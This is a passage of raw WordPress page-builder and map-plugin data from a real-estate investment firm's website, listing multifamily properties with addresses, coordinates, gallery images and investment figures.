Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"BlueWater Apartment Homes at Boltonu2019s Landing\",\"post_link\":\"https:\/\/www.cpicapital.ca\/bluewater\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"1680 Bluewater Way, Charleston, SC 29414, USA\",\"%_wpgmp_location_city%\":\"Charleston\",\"%_wpgmp_location_state%\":\"South Carolina\",\"%_wpgmp_location_country%\":\"United States\",\"%_wpgmp_metabox_latitude%\":\"32.8032885\",\"%_wpgmp_metabox_longitude%\":\"-80.1013495\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"\",\"%_et_pb_truncate_post_date%\":\"\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10684\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10667\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"9256\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1633524799:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10667,\"infowindow_disable\":false}],\"styles\":\"[{\"featureType\":\"administrative\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"administrative\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"1.50\"},{\"color\":\"#a2a5bc\"}]},{\"featureType\":\"administrative\",\"elementType\":\"labels.text.fill\",\"stylers\":[{\"color\":\"#2d2d2d\"}]},{\"featureType\":\"administrative.country\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"administrative.country\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"1\"}]},{\"featureType\":\"landscape\",\"elementType\":\"all\",\"stylers\":[{\"color\":\"#f2f2f2\"}]},{\"featureType\":\"landscape\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"5.00\"},{\"color\":\"#f6f9fc\"}]},{\"featureType\":\"landscape.man_made\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#f6f9fc\"},{\"visibility\":\"on\"}]},{\"featureType\":\"landscape.natural.landcover\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#f6f9fc\"},{\"visibility\":\"simplified\"}]},{\"featureType\":\"landscape.natural.landcover\",\"elementType\":\"labels.text\",\"stylers\":[{\"color\":\"#ff0000\"}]},{\"featureType\":\"landscape.natural.terrain\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#cccfdc\"},{\"saturation\":\"1\"},{\"lightness\":\"30\"},{\"visibility\":\"off\"}]},{\"featureType\":\"poi\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road\",\"elementType\":\"all\",\"stylers\":[{\"saturation\":\"-100\"},{\"lightness\":\"14\"},{\"visibility\":\"on\"},{\"weight\":\"1.50\"},{\"gamma\":\"1\"}]},{\"featureType\":\"road\",\"elementType\":\"geometry\",\"stylers\":[{\"saturation\":\"0\"},{\"lightness\":\"0\"}]},{\"featureType\":\"road\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.highway.controlled_access\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"lightness\":\"60\"},{\"color\":\"#cccfdc\"},{\"saturation\":\"0\"},{\"gamma\":\"1.50\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road.local\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"transit\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"water\",\"elementType\":\"all\",\"stylers\":[{\"color\":\"#cccfdc\"},{\"visibility\":\"on\"}]},{\"featureType\":\"water\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#cccfdc\"}]}]\",\"marker_cluster\":\"\/\",\"map_property\":{\"map_id\":\"7\",\"debug_mode\":false},\"shapes\":{\"drawing_editable\":false},\"filters\":{\"filters_container\":\"[data-container=\"wpgmp-filters-container\"]\"}}).data(\"wpgmp_maps\");});<\/script><\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_3 section-become-an-investor et_pb_with_background et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_5\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_11  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_17  et_pb_text_align_center et_pb_bg_layout_dark\">nttttnttttntttt<div class=\"et_pb_text_inner\">CPI Capital helps busy professionals to earn passive income through real estate investing so they could have more time freedom to live a more abundant life.<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_button_module_wrapper et_pb_button_0_wrapper et_pb_button_alignment_center et_pb_module \">ntttt<a class=\"et_pb_button et_pb_button_0 dark-bg et_pb_bg_layout_dark\" href=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&#038;__hssc=230844480.25.1633419575663&#038;__hsfp=3601630007\" target=\"_blank\">become an investor<\/a>nttt<\/div>nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><\/p>n\",\"%_et_pb_truncate_post_date%\":\"2021-10-17 02:04:30\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10684\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10786\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"10722\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1634295203:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10786,\"custom_filters\":[],\"infowindow_disable\":false},{\"source\":\"post\",\"title\":\"Braxton Waterleigh\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\"><div class=\"fc-feature-img\"><img alt=\"Braxton Waterleigh\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\">Braxton Waterleigh<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"address\":\"10091 Tuller Loop, Winter Garden, FL 34787, USA\",\"location\":{\"lat\":\"28.4132117\",\"city\":\"Winter Garden\",\"state\":\"Florida\",\"country\":\"United States\",\"lng\":\"-81.6333645\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]Horizon West, Florida[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]$25K[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Monthly[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]25.1%[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]5 Years[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Multifamily[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]<h3>Overview<\/h3>n<p>This community is a 354-unit community completed in 2021, representing top-quality suburban living in a rapidly growing suburb of the Orlando MSA.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]$32,000,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Braxton Waterleigh\",\"post_link\":\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"Braxton Waterleigh\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"10091 Tuller Loop, Winter Garden, FL 34787, USA\",\"%_wpgmp_location_city%\":\"Winter Garden\",\"%_wpgmp_location_state%\":\"Florida\",\"%_wpgmp_location_country%\":\"United States\",\"%_wpgmp_metabox_latitude%\":\"28.4132117\",\"%_wpgmp_metabox_longitude%\":\"-81.6333645\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"<p><div class=\"et_pb_section et_pb_section_4 section-location-gallery et_pb_with_background et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_6 post-carousel\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_12  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_image et_pb_image_5 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10730\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_6 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02.jpg 1110w, 